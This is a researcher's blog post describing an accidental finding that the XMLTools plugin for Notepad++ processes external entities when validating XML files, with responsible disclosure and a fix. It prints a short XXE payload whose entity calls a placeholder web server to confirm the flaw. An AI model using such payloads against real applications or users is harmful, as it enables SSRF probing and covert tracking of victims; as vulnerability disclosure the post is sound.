This is a post about how I found a vulnerability in a plugin for a popular text editor Notepad++ by accident. The plugin is XMLTools and as its description on Github (https://github.com/morbac/xmltools) states:
This plugin is a small set of useful tools for editing XML with Notepad++. The plugin is based on MSXML. The plugin features are:
<snip>
- XML syntax Check
- XML Schema (XSD) + DTD Validation
- XML tag autoclose
- Pretty print
Normal day at work
On the day I have found this vulnerability I was doing a penetration test of a web application. And I was trying to find a XXE (XML External Entity) vulnerability as the application accepted and used XML files as a configuration file. So I opened my favorite text editor and tried adding basic XXE payload, just to test it.
As the application did not show the contents of the configuration file in any way, I had to use XXE payload, which would make the web server contact my server (SSRF) and from its logs I could determine if the application is vulnerable to this or not. The basic payload I used, was the following:
<!DOCTYPE test [
<!ENTITY % xxe SYSTEM 'http://<web-server>/?XXE1'>
<!ENTITY test "%xxe;">
]>
<xml>
</xml>I saved this file in Notepad++ (got an error, which I, of course, ignored) and uploaded it to the web application. Then I checked the logs of the web server and there it was, an access to the URL I specified in the file. So now I knew the web application was vulnerable to XXE!
Or was it?
Next I tried several other payloads, which would exfiltrate some files from the system, achieve code execution and some more. None of which worked. I tried to create more payloads but in the end, they were the same (only with new URLs) and I did not upload them to the web application. So I recognized my defeat and ended the testing for the day and started to organize my screenshots, payload files and notes. Then I saw in the logs that something (what could it be?) accessed the URLs I specified in the newly created and not uploaded payload files.
The culprit was… Notepad ++?
So I investigated this behavior and found out that it was Notepad++ that was doing it. But Notepad++ does not do any XML parsing does it? So I finally checked the error messages, which were not saying much:
And from that I remember the plugin I was (and still am) using mostly for pretty printing XML files. Well now that I knew where the vulnerability is triggered, I wanted to try more payloads and also check if I had the current version.
So when I got home, I checked the version of the plugin I had. It looked like it was the latest version (2.4.9.2) but it wasn’t. Because I had used Notepad++ for quite a while, I still had a plugin called “Plugin manager”, which allowed to automatically download and install other plugins from SourceForge (https://sourceforge.net/projects/npp-plugins/files/XML%20Tools/). However when you install Notepad++ now, you will have “Plugins admin” menu option instead, where you can find updated list of available plugins.
So I downloaded the newest version of the plugin from Github, which, at the time, was version 2.4.11.0 and tried the first payload and it still worked! Then I tried multiple payloads to try data exfiltration or RCE and none of them worked.
Well I then tried to find out how this could be used by an attacker. I found out that the vulnerability is in the XML validation feature of this plugin and any .xml file gets automatically validated and thus automatically triggering this vulnerability when opening the file.
The potential attacker could have used this vulnerability to get a “notification” when the user/victim opens or manually validates his document with XML Tool plugin doing the validation.
Conclusion
Although a little bit disappointed I was happy to have found this vulnerability and also that I have not included it in the penetration test report.
To try this you can use python3 http.server module and the payload mentioned above. And these are the results:
The vulnerability has been patched 8 days after I sent my email. The fix was quite easy as the plugin’s author fixed it by adding one line of code to enable additional XXE prevention in libXML. You can see the fix at: https://github.com/morbac/xmltools/commit/7fa5dbadcfad80ec67662bfaeaef0deef948949e